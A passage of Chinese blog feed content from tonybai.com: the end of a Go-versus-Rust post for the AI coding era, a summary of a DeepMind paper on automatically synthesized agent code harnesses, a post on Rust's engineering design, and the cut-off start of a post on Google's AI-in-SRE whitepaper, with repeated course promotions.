在经历了一轮轮深刻的讨论后，技术老兵们为我们总结出了一条极其务实的决策黄金法则：\n除非你的业务是在写操作系统内核、高频交易引擎、或者内存极其受限的边缘设备；否则，用 Go 来换取 10 倍的开发效率、秒级的编译速度，以及任何人都能在 3天内上手的极低维护成本，在商业世界里永远是一个性价比高得多的选择。\n小结 AI 的爆发并没有让“简单”失去价值，反而让“简单”变得更加昂贵。\nAI 降低了代码“写”的门槛，但也导致互联网上的平庸同质化代码（Slop）呈指数级爆发。在充斥着 AI 生成代码的未来，能够一眼被看穿、能够被任何人轻松评审、能够无痛维护的代码，才是最稀缺的技术资产。\nGo 语言那近乎固执的“无聊”与“克制”，并不是落后，而是其对“人机协同软件工程”最深邃的先见之明。\n资料链接：https://www.reddit.com/r/golang/comments/1u2u96q/why_choose_go_over_rust_today/\n今日开放讨论：\n大模型确实降低了我们“落笔写代码”的门槛，但它同时也以前所未有的速度，向整个世界的代码库里倾倒着似是而非的“平庸垃圾（Slop）”。\n面对这场温水煮青蛙的“人机协作大潮”，我们也想听听你在一线最真实的工程感受：\n你是否尝试过让 Cursor 或 Claude 帮你生成复杂的 Rust 代码？ 在实际编译和后续维护中，你觉得 AI 究竟是帮你“拆掉了门槛”，还是在暗中给你“挖了更深的坑”？ 如果今天你要为团队新立项一个中大型的后端微服务， 在有 AI 编程工具辅助的前提下，你会更倾向于选择“3 天就能上手、编译仅需毫秒的 Go”，还是“心智负担极高、但上限和安全性拉满的 Rust”？ 你是否经历过被 AI 生成的“黑盒代码”在半夜三点叫醒 On-Call 的惨痛经历？ 欢迎在评论区留下你最硬核的观点，或者把这篇文章一键转发给身边正在为“技术栈选型”纠结的架构师朋友。我们评论区见！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/18/why-choose-go-over-rust-today-in-ai-age/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-choose-go-over-rust-today-in-ai-age-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/18/why-choose-go-over-rust-today-in-ai-age\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/18/why-choose-go-over-rust-today-in-ai-age\"\u003ehttps://tonybai.com/2026/06/18/why-choose-go-over-rust-today-in-ai-age\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着 Cursor、Claude Code 和 Copilot 等 AI 编程智能体的爆发，整个技术圈的开发门槛被前所未有地铲平了。\u003c/p\u003e\n\u003cp\u003e在过去，\u003cstrong\u003eRust\u003c/strong\u003e 最大的劝退门槛是它那极其陡峭的路径——生命周期、借用检查器（Borrow Checker）、复杂的泛型特征（Traits）。但如今，AI 可以轻而易举地帮你写出能够通过编译的复杂 Rust 代码。\u003c/p\u003e","title":"在 AI 编码时代，为什么我们依然选择 Go 而不是 Rust？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/17/deepmind-automation-agent-harness-ai-self-coding\n大家好，我是Tony Bai。\n过去的几个月，整个 AI 开发圈最火的词，无疑是 Agent Harness（智能体驾驭系统）。\n从 Claude Code 到 OpenClaw，再到我自己的极客时间专栏，我们所有走在 AI 原生开发前沿的工程师，都在不遗余力地布道一个核心思想：大模型本身只是一个“毛坯大脑”，你必须为它手工打造一套精密的“外部骨骼（Harness）”，它才能真正干活。\n我们研究 ReAct 循环、设计上下文压缩引擎、构建安全中间件……我们以为，掌握这套“驾驭工程学”，就是我们在 AI 时代的终极护城河。\n但就在今年年初，AI 领域的“神殿”——Google DeepMind——直接掀了桌子。\n他们发布了一篇名为**《AutoHarness: a code harness for LLM agents by automatically synthesizing a code harness》**的重磅论文，用极其详实的数据和实验，向全世界宣布了一个既震撼又令人脊背发凉的事实：\n别再苦哈哈地手写 Harness 了，我们已经能让 AI 自己为自己编写“规则护栏”了。\n这篇论文同时也像一面镜子，照出了即便是最顶级的 AI Agent，在没有“护栏”的情况下有多么“愚蠢”；更像一声警钟，预示着我们人类工程师在 AI 产业链中的角色，即将迎来又一次深刻的变迁。\n78% 的败因，竟是“犯规” 在展示 AutoHarness 有多强大之前，DeepMind 的科学家们先用一个极其残酷的案例，揭示了为什么 Harness 是“必需品”。\n在上一次的 Kaggle 线上国际象棋大赛中，被寄予厚望的 Gemini 2.5 Flash 模型，其 78% 的对局失败，竟然不是因为技不如人，而是因为它试图走出“非法步骤（Illegal Moves）”！\n比如，它会尝试让“马”走直线，或者把“兵”横着走。\n这个案例，完美地暴露了所有大模型的“原罪”：它们拥有惊人的“语言理解能力”，却没有足够的“规则遵守能力”。\nAI 知道成千上万种开局策略，但它不知道在当前的棋盘状态下，哪些格子是它能走的，哪些是不能的。它只是在基于概率，模仿它在训练数据中见过的、最像“正确答案”的文本。\n传统的解决方案是什么？\n模型微调（Fine-tuning）：用海量的棋局数据去微调模型。代价极高，速度极慢，而且可能会损害模型在其他任务上的泛化通用能力。 手工编写 Harness：由人类工程师为每一款游戏，硬编码一套“规则校验器”。工作量巨大，且极度脆弱，换个游戏就得重写。 让 AI 成为自己的“规则老师” 面对这个两难的困境，DeepMind 的思路堪称“降维打击”：\n既然 AI 这么会写代码，为什么不让它自己根据环境的反馈，为自己写一个“规则校验器（Code Harness）”呢？\nAutoHarness 的核心流程，就像一个优雅的“自我进化”闭环：\n初始探索：让一个基础模型（比如 Gemini 2.5 Flash）在游戏环境中自由发挥，生成一个初始版的 Python 策略代码，包含 propose_action() 和 is_legal_action() 两个函数。 试错与反馈：在 10 个并行的游戏环境中，同时运行这段代码。一旦 AI 走出了“非法步骤”，或者代码执行出错，系统会立刻终止，并将失败的步骤和环境给出的错误信息，一起打包发给一个“批评家（Critic）”。 代码精炼：批评家将错误信息进行整理，连同原始的“问题代码”，一起喂给一个“精炼器（Refiner）”。“精炼器”的角色同样由一个 LLM 担任，它的任务是：“看，你写的这段代码犯了这些错，现在请你把它改对。” 循环进化：精炼器生成一段新的、有望修复 Bug 的代码，然后再次投入到游戏环境中进行测试。如此循环往复。 图：Code-as-harness learning process\n这个过程，本质上是一个基于“树搜索”和“迭代式代码精炼”的自动化编程过程。\n结果有多惊人？\n在 145 个不同的文本游戏中，AutoHarness 平均只需要 14.5 次迭代，就能为 Gemini 2.5 Flash 生成一个达到 100% 准确率的“合法走步”校验器。 在国际象棋（Chess）和奥赛罗（Othello）这种极其复杂的游戏中，AutoHarness 也能在几十次迭代后，完美掌握所有规则。 以弱胜强：当“AI+护栏”轻松碾压“最强大脑” AutoHarness 最令人震撼的是它带来的**“以弱胜强”**的恐怖效果。\nDeepMind 组织了一场对战实验：\n甲方：小模型 Gemini 2.5 Flash，但装备了由 AutoHarness 自动生成的“规则护栏”。 乙方：比 Flash 强大得多的当时的旗舰模型 Gemini 2.5 Pro，但没有任何护栏，“裸奔”上场。 在 16 款不同的双人对战游戏中，结果呈现出一边倒：\n装备了“护栏”的小模型 Flash，在与大模型 Pro 的对战中，胜率高达 56.3%！而 Pro 的胜率仅为 38.2%。\n这张图清晰地展示了在多款游戏中，“Flash+Harness”组合的绿色胜利条，是如何显著高于 Gemini-2.5-Pro 的。\n这个实验也再次印证了：一个更小的、但被良好“驾驭”的模型，其战斗力是可以超越一个更大、更昂贵、但却在“裸奔”的模型的，足见Harness的重要性。\n更极端的是，DeepMind 甚至让 AI 把整个游戏的策略，都写成了确定性的 Python 代码（Harness-as-Policy），在运行时完全不需要再调用 LLM。\n结果，这段由小模型生成的纯代码，在 16 款单人游戏中的平均得分，甚至超越了 GPT-5.2-High！\n人类的新角色——“环境设计师”与“评估者” DeepMind 的这篇论文，给我们这些正在苦心钻研 Harness Engineering 的工程师，带来了极其深刻的反思。\n它似乎在告诉我们：未来，我们最重要的工作，可能不再是亲手去为 AI 编写“规则”，而是为 AI 设计一个能够让它“自我学习规则”的环境。\n我们的角色，正在从“手工艺人”，向两个更高级的职位迁移：\n1. 环境设计师（Environment Designer）\nAutoHarness 之所以能成功，是因为 DeepMind 的科学家们为它精心设计了一个能提供清晰、即时反馈的游戏环境。\n未来，我们的核心任务，将是把我们复杂的业务系统，抽象成一个个能让 AI 安全“试错”、并能从错误中学习的“模拟环境”。\n2. 评估体系架构师（Evaluation Architect）\nAutoHarness 的另一个关键，是那套能自动判断“好坏”的评估体系。\n在 DeepMind 的实验中，他们引入了“批评家”、“裁判”等多个 AI Agent，来自动化地评估新生成的代码。\n这正是我在自己的专栏《从 0 开始构建 Agent Harness》中，反复强调的 Evals（自动化评估体系） 的重要性。\n当 AI 能写 Harness 时，我们人类的终极护城河，就变成了定义“什么是好的 Harness”的能力。\n小结：从“教它做事”到“教它学习” AutoHarness 的出现，意味着我们可能正在从“授人以鱼”（直接给 AI 写好的规则），进化到“授人以渔”（教 AI 如何自己学习规则）。\n这既可以解放了我们的生产力，更是开启了一条通往“AI 递归式自我改进”的、充满无限想象力的大门。\n当然，这并不意味着手写 Harness 会立刻消失。对于极其复杂、安全要求极高的领域，人类专家的经验依然不可或缺。\n但这篇论文，至少为我们指明了方向：不要再把 AI 当作一个需要你手把手教的“学徒”了。把它当作一个极具天赋、能够自我反思的“初级程序员”，为它提供清晰的测试用例、明确的错误反馈，然后，放手让它自己去进化。\n这，或许才是 AI 原生时代，最高级的“人机协同”。\n资料链接：https://arxiv.org/abs/2603.03329\n今日互动探讨：\n看完 DeepMind 的 AutoHarness，你对 Agent 开发的未来是感到兴奋，还是感到了“饭碗不保”的焦虑？你认为 AI 自动生成“规则护栏”的模式，离我们日常的业务开发还有多远？\n欢迎在评论区分享你的看法！\n认知跃迁：在 AI“自我进化”前夜，你的核心壁垒是什么？\n当 AI 开始学会自己编写“驾驭系统”时，我们这些正在苦学 Harness Engineering 的人类工程师，价值何在？\n答案是：回归第一性原理。\nAutoHarness 虽然强大，但它依然需要人类去定义底层的循环机制、安全边界、成本审计和评估框架。这些，才是 AI 无法自我生成的、真正属于“架构师”级别的智慧。\n如果你还在为写 Agent 框架频频死循环、上下文爆炸而束手无策，如果你想在 AI 彻底实现“自我编程”之前，抢先一步，成为那个“设计进化环境”的人——\n我的新专栏 《从 0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启你的“AI 环境设计师”之路。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/17/deepmind-automation-agent-harness-ai-self-coding/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/deepmind-automation-agent-harness-ai-self-coding-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/17/deepmind-automation-agent-harness-ai-self-coding\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/17/deepmind-automation-agent-harness-ai-self-coding\"\u003ehttps://tonybai.com/2026/06/17/deepmind-automation-agent-harness-ai-self-coding\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的几个月，整个 AI 开发圈最火的词，无疑是 \u003cstrong\u003eAgent Harness（智能体驾驭系统）\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e从 Claude Code 到 OpenClaw，再到\u003ca href=\"http://gk.link/a/12IzL\"\u003e我自己的极客时间专栏\u003c/a\u003e，我们所有走在 AI 原生开发前沿的工程师，都在不遗余力地布道一个核心思想：\u003cstrong\u003e大模型本身只是一个“毛坯大脑”，你必须为它手工打造一套精密的“外部骨骼（Harness）”，它才能真正干活。\u003c/strong\u003e\u003c/p\u003e","title":"DeepMind 亮出王炸：别再手写 Agent Harness 了，AI 已经学会自己写了！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/16/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic\n大家好，我是Tony Bai。\n在软件工程界，有一句流传甚广、近乎玄学的名言：“如果你的 Rust 代码通过了编译，那么它就已经可以正确运行了。”\n对于被 Java 的空指针异常（NullPointerException）折磨得彻夜难眠、被 C++ 的段错误（Segfault）逼到崩溃、或者在 TypeScript 里为处理各种隐式错误而心力交瘁的开发者来说，这句话听起来像是一个过于美好的谎言。\n为了探寻这句话背后的真相，在最近的一期访谈中，Google Android Rust 团队成员、Rust 语言团队顾问、高并发异步运行底座 Tokio 的核心维护者 Alice Ryhl，深度拆解了 Rust 的底层设计。\n从一个在高中为了写《我的世界》（Minecraft）模组而自学 Java 的少女，到在 Rust 官方论坛上累计解答 10,000 个问题的硬核专家，Alice 用她极具说服力的工程视角，为我们揭示了 Rust 是如何通过极致的编译器设计、数据结构约束以及民主化的社区治理，彻底改变现代软件工程的。\n终结“十亿美元的错误”：Rust 怎么保证代码的绝对可靠？ 大模型时代，写代码的门槛越来越低，但系统的可靠性却变得前所未有的脆弱。Alice 认为，要让一门语言写起来有“编译即正确”的底气，最核心的底座是其类型系统。\n1. 彻底消灭 null 隐患 1965 年，图灵奖得主 Tony Hoare 发明了 null 引用，后来他痛苦地称其为自己的“十亿美元错误”。在 Java 中，每一次函数调用，你都必须时刻提防它可能返回一个 null，进而导致程序崩溃。\n而在 Rust 中，null 这一概念根本不存在。\n如果你需要表达一个变量可能为空，你必须显式地使用 Option 枚举。最关键的是：编译器会用铁律强迫你在使用该变量之前，必须进行解包和空值检查。 你无法偷懒，更无法遗忘，因为漏掉任何一种可能，编译器都会拒绝通过。\n2. 显式且不容忽略的错误处理 与 Java 或 C++ 依赖隐式垃圾回收或异常抛出（Exceptions）不同，Rust 采用了一种极其务实的做法：将错误作为普通的值返回。\n// Rust 中的经典错误处理模式 let file = File::open(\u0026#34;config.json\u0026#34;)?; 这里的 ? 操作符是 Rust 的标志性设计。它意味着：如果打开文件失败，立刻将错误向上抛出。如果你忘记写这个 ?，或者没有对返回的 Result 进行处理，编译器就会报出一个无法忽视的错误。\n这里体现的 Rust 的工程美学在于：它不依赖开发者的细心和自律，而是用编译器的钢性约束，把所有可能在生产环境中暴雷的隐式错误，提前在开发期彻底榨干。\n妙到极致的“文档即测试”（Doc Tests） 你是否经历过这样的绝望：接手一个项目，按照 README 里的示例代码复制粘贴，结果编译报了一堆错——原来代码重构了，但写文档的人忘了更新示例。\n在 Rust 中，这个问题被一个近乎艺术级的设计解决了：文档即测试（Doc Tests）。\n在 Rust 中，只要在代码前使用三个斜杠 ///，就可以为函数编写 Markdown 格式的文档：\n/// 这个函数将两个数字相加。 /// /// # Examples /// /// ``` /// let result = my_crate::add(2, 2); /// assert_eq!(result, 4); /// ``` pub fn add(a: i32, b: i32) -\u0026gt; i32 { a + b } 当你运行 cargo test 时，Cargo 会自动提取你文档注释中的所有代码示例，并把它们作为单元测试全部跑一遍！\n如果你的代码发生了重构，导致文档里的示例代码跑不通了，你的整个 CI/CD 构建流就会直接宣告失败。这种设计逼迫开发者：要想代码通过编译，你的文档和示例就必须永远保持最新。 这种对代码 hygiene（工程卫生）的极致追求，让 Rust 成了开源界文档质量最扎实的生态。\n新手的终极撞墙期：不要修改代码，去修改你的数据结构！ 每一个从 TypeScript、Java 或 Go 转型到 Rust 的开发者，都经历过一段极其痛苦的时期——被“所有权（Ownership）”和“借用检查器（Borrow Checker）”无情蹂躏，俗称“与借用检查器肉搏”。\nAlice 指出，几乎所有新手在这个阶段都犯了一个根本性的方向错误：他们试图通过不断修改局部代码逻辑来通过编译，而真正的解法往往是修改数据结构（Struct）。\n1. 循环引用的噩梦 在 TypeScript 里，我们建一个“书（Book）”和“页面（Page）”的对象，习惯于让 Book 引用 Page，同时让 Page 也引用回 Book：\nBook ──────\u0026gt; Page ▲ │ └──────────────┘ 这种循环引用在有垃圾回收（GC）的语言中很常见。但在 Rust 这种没有 GC、依靠变量作用域结束自动释放内存的语言中，循环引用会导致内存释放链条死锁（编译器不知道该先释放谁，容易造成内存泄露或双重释放）。\n2. 金科玉律：“改变数据结构，而不是改变代码” 当你在 Rust 中遇到借用冲突时，正确的思路是：\n消除循环引用：将数据结构重构为清晰的、无环的有向无环图（DAG）或树状结构（Tree）。 利用引用计数：如果一个对象确实需要在多个地方共享所有权，不要强行用引用，改用引用计数指针 Arc（Atomic Reference Counted）。 通过调用 Arc::clone(\u0026amp;my_obj)，你可以安全、轻量地在多线程中共享同一块只读内存。当最后一个 Arc 离开作用域时，内存会自动被安全释放。\n写 Rust 会强迫你在落笔之前，先在脑海中画出极其清晰的数据所有权图谱。这种高强度的架构思考，正是“编译通过即安全”的底气来源。\n揭秘 unsafe 的真相：它不是后门，而是高级特权的封装 对于 Rust 的批评者来说，unsafe 关键字经常被拿来作为攻击的靶子：“既然 Rust 声称安全，为什么还留了 unsafe 这个后门？”\nAlice 对此给出了极其严密的工程解释：unsafe 绝不是用来关闭编译器检查的后门，它是一个用于向语言注入全新特权的封装箱。\n1. unsafe 关不掉借用检查器 一个普遍的误区是，在 unsafe 块里，你可以为所欲为。\n事实是：在 unsafe 块中，借用检查器依然在严密工作。unsafe 仅仅是允许你多调用几个被标记为 unsafe fn 的特殊函数，或者操作原始指针（Raw Pointer）。\n2. 极致性能与安全边界的统一 在普通代码中，你访问数组元素 vector[5]，编译器会在运行时默默检查数组长度，防止越界崩溃。但如果你在写追求极致性能的音视频解码器，或者在写 Linux 内核驱动，这种运行时的边界检查（Bounds Check）积累起来会产生无法接受的开销。\n此时，你可以调用 get_unchecked(5)，它是一个 unsafe 函数，会直接跳过长度检查，直接去读内存。\n// 只有在确定不越界的前提下，包裹在 unsafe 中以提升极致性能 unsafe { let value = my_vector.get_unchecked(5); } 3. 用“安全的 API”封装“不安全” Rust 的核心哲学是：你可以在底层用 unsafe 制造一个高效率的基础构件（比如 Vector 容器的底层实现就是基于原始指针分配和释放），但你必须用极致私有的字段和严密的公共 API，把它包裹成一个绝对安全的、暴露给外部用户使用的安全接口。\n只要你的 API 设计无懈可击，外部调用者无论写出多么愚蠢的代码，也绝对无法突破这道安全的封装线。这就是为什么在企业后端开发中，你的业务代码中 unsafe 的使用率应当为 0%。\n民主化的工程奇迹：没有“独裁者”的团队是如何高效演进的？ 不同于 Python 或 Linux 内核拥有创始人（如 Linus Torvalds）作为“终身仁慈独裁者（BDFL）”来进行终极仲裁，Rust 语言的治理是一个彻底去中心化的、基于共识和提案的民主体系。\n这个体系主要由两个精妙的工程机制驱动：\n1. 极其严苛的 RFC（Requests for Comments）模版 当你想给 Rust 增加一个稍微大一点的特性时，你必须提交一份 RFC 提案。这个提案的模版极其考验作者的工程思维，其中有两个非常天才的设计：\nGuide-level explanation（引导级说明）：你必须假设这个特性已经存在，写一段像新手教程一样的指南来介绍它。这逼迫提案者从用户体验和易用性的角度去审视特性，而不是一上来就堆砌底层实现细节。 Reference-level explanation（参考级说明）：详细的技术规范，相当于语言参考手册的起草。 Alternatives \u0026amp; Prior Art（替代方案与先验艺术）：你必须写清楚为什么不采用另外几种设计，以及 C++、Go 等其他语言在这一块是怎么做的。这能让你在被别人质问之前，先在文档里把所有漏洞堵死。 这种 RFC 流程类似于亚马逊（Amazon）推行的 PR/FAQ 撰写机制，它确保了每一项进入语言的特性，在写第一行编译器代码之前，就已经在逻辑和易用性上被推敲到了极致。\n2. 解决破坏性更新的“版次（Edition）”机制 当一门语言发展到一定阶段，难免需要引入破坏性更新（Breaking Changes），比如增加新的关键字。Python 从 2 升级到 3 导致了整个生态长达数年的割裂，至今仍是社区的隐痛。\n而 Rust 发明了 版次（Edition） 机制，完美解决了这一难题：\n编译器的包容性：不同 Edition 的包（Crates）可以在同一个项目中完美混用。 无缝兼容：你的底层库可以用 2021 版次编写，而我的主业务可以用 2024 版次调用它，编译器在底层会把它们无缝融合成统一的二进制程序。 语法平滑过渡：大版本更新（如引入 async/await 关键字）只在特定的 Edition 里生效，旧 Edition 的代码中依然可以安全地将 async 用作普通变量名。 这种精密的后向兼容机制，确保了 Rust 既能保持激进的技术进化，又绝对不会把老用户丢在半路上。\n小结：从“写完代码再调试”到“在安全网中优雅降落” 在 Alice 的工程世界里，写 Rust 并不是在追求一种虚无的技术时尚，而是在实践一种将人的主观失误降到最低的现代工程学。\nRust 并不是万能的，在 Web 前端等需要快速试错、频繁变更界面的场景中，它显然不如 TypeScript 轻量和灵活。但只要你的业务涉及到高并发的后端、高可用的微服务、极致性能的系统底层，或者不容许有任何安全漏洞的防御性工程，Rust 就是目前人类技术栈中最坚固的防线之一。\n写 Rust 的过程，是一次编程习惯的洗礼：\n你不再需要战战兢兢地把代码部署上线，然后盯着监控屏幕祈祷不要发生内存泄漏；你是在编译器的细心呵护下，将所有已知的安全隐患和逻辑死角在开发阶段一扫而空，然后在类型系统的安全网中，优雅、从容地平稳降落。\n而这，正是“编译通过，即可运行”这句工程神话背后，最朴素也最震撼人心的底层逻辑。\n资料链接：https://www.youtube.com/watch?v=q9xD36NCtZ8\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/16/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/16/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/16/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic\"\u003ehttps://tonybai.com/2026/06/16/why-if-it-compiles-it-runs-rust-engineering-aesthetics-and-logic\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程界，有一句流传甚广、近乎玄学的名言：“如果你的 Rust 代码通过了编译，那么它就已经可以正确运行了。”\u003c/p\u003e\n\u003cp\u003e对于被 Java 的空指针异常（NullPointerException）折磨得彻夜难眠、被 C++ 的段错误（Segfault）逼到崩溃、或者在 TypeScript 里为处理各种隐式错误而心力交瘁的开发者来说，这句话听起来像是一个过于美好的谎言。\u003c/p\u003e","title":"为什么说“编译通过，就能运行”？Google 专家 Alice 揭秘 Rust 的工程美学与底层逻辑"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/15/google-ai-in-sre\n大家好，我是Tony Bai。\n整个软件工程界正在经历一场由生成式 AI 引发的**“效率大爆炸”**。\n随着 GitHub Copilot、Claude Code、Codex 以及OpenClaw、Hermes等各类AI Agent 的普及，企业编写代码、构建功能并将其推向生产环境的速度，正在以 4 倍到 10 倍 的速度疯狂飙升。\n然而，在这场高歌猛进的效率狂欢背后，软件工业最脆弱的防线——系统稳定性（SRE, Site Reliability Engineering），正在面临前所未有的毁灭性挑战。\n传统由人类主导的 Code Review、基于静态监控指标的告警排查，在“机器以微秒级吞吐代码”的时代，已经彻底沦为杯水车薪。当代码提交量和部署频率暴涨 10 倍，意味着系统故障和未知黑盒技术债的涌入速度也暴涨了 10 倍。\n为了应对这场“AI 带来的生产力过载危机”，谷歌 SRE 团队于近日发布了一份极具颠覆性的系统级白皮书：《AI in SRE: How Google is Engineering the Future of Reliable Operations》。\n在这份白皮书中，谷歌首次向外界披露了其内部正在运转的、以 **Agent 编排与闭环控制（Closed-loop Control）**为核心的下一代自愈式运维系统。\n图：可由AI改进优化的SRE各个环节\n今天，我们就来深度拆解这份代表着全球顶级运维水平的技术白皮书，看看谷歌是如何在 AI 时代，重新定义系统可靠性边界的。\n为什么 AI 编码越快，运维死得越早？ 谷歌 SRE 团队在白皮书的摘要中开门见山地指出：Site Reliability Engineering 正处于一场范式转移的阵痛中。\n传统 SRE 的工作模式（SLO 定义、错误预算、消除琐碎工作）是建立在“人类编写代码的速度有限”这一物理前提下的。当 AI 充当了代码放大器，系统复杂度的膨胀速度已经远远超出了人类的阅读和心智承受极限。\n谷歌提出了 AI 在运维系统中的 五个自治级别（SRE AI Autonomy Levels）：\n在 L0 和 L1 阶段，人类还是绝对的“消防员”。但面对海量的机器代码，人类的响应时延（以分钟或小时计）在微秒级的故障蔓延面前毫无抵抗力。\n谷歌认为，未来的 SRE 必须快速向 L3（高度自治）甚至 L4（完全自治）推进——即让 AI 智能体在无需人类确认的情况下，自主检测、诊断并安全地执行线上变更。\n但问题是：谁来保证 AI 智能体本身不会“抽风”？ 一旦拥有自主执行权的 AI 智能体做出了错误的决策（例如在流量高峰期错误地清空了整个集群的负载），其造成的灾难（Blast Radius）将比人类操作失误大上千倍。\n谷歌 SRE 的核武器：三大内部 AI 运维王牌组件 为了将 AI 安全地引入生产环境，谷歌在内部研发并上线了三套极具系统美学的底层 AI 平台。\n1. IRM-Analyzer：将人类“救火轨迹”转化为黄金训练数据 AI 智能体要学会如何排障，首先需要向最优秀的人类 SRE 学习。但人类在排障时的行为是极其零散且非结构化的（躺在 Slack 聊天记录里、GVC 语音里、或者手动的命令行里）。\n为此，谷歌开发了 IRM-Analyzer（事件分析平台）：\nIRM-Analyzer 能够自动将零散的 Slack 聊天、日志报错、监控曲线，自动提炼并拼装成结构化、可复现的人类排障轨迹（Human Trajectory）。\nIRM-Analyzer 利用大模型，能够将一场长达数小时、涉及数十人的混乱救火过程，自动解析、过滤、去噪并聚合成一条精确的时间线（Timeline），标明：什么时候观察到了 SLA 异常、什么时候执行了 canary 排水（Mitigation）、什么时候验证了服务恢复。\n这条高纯度的时间线，成为了训练 AI Operator（智能体运维官）的 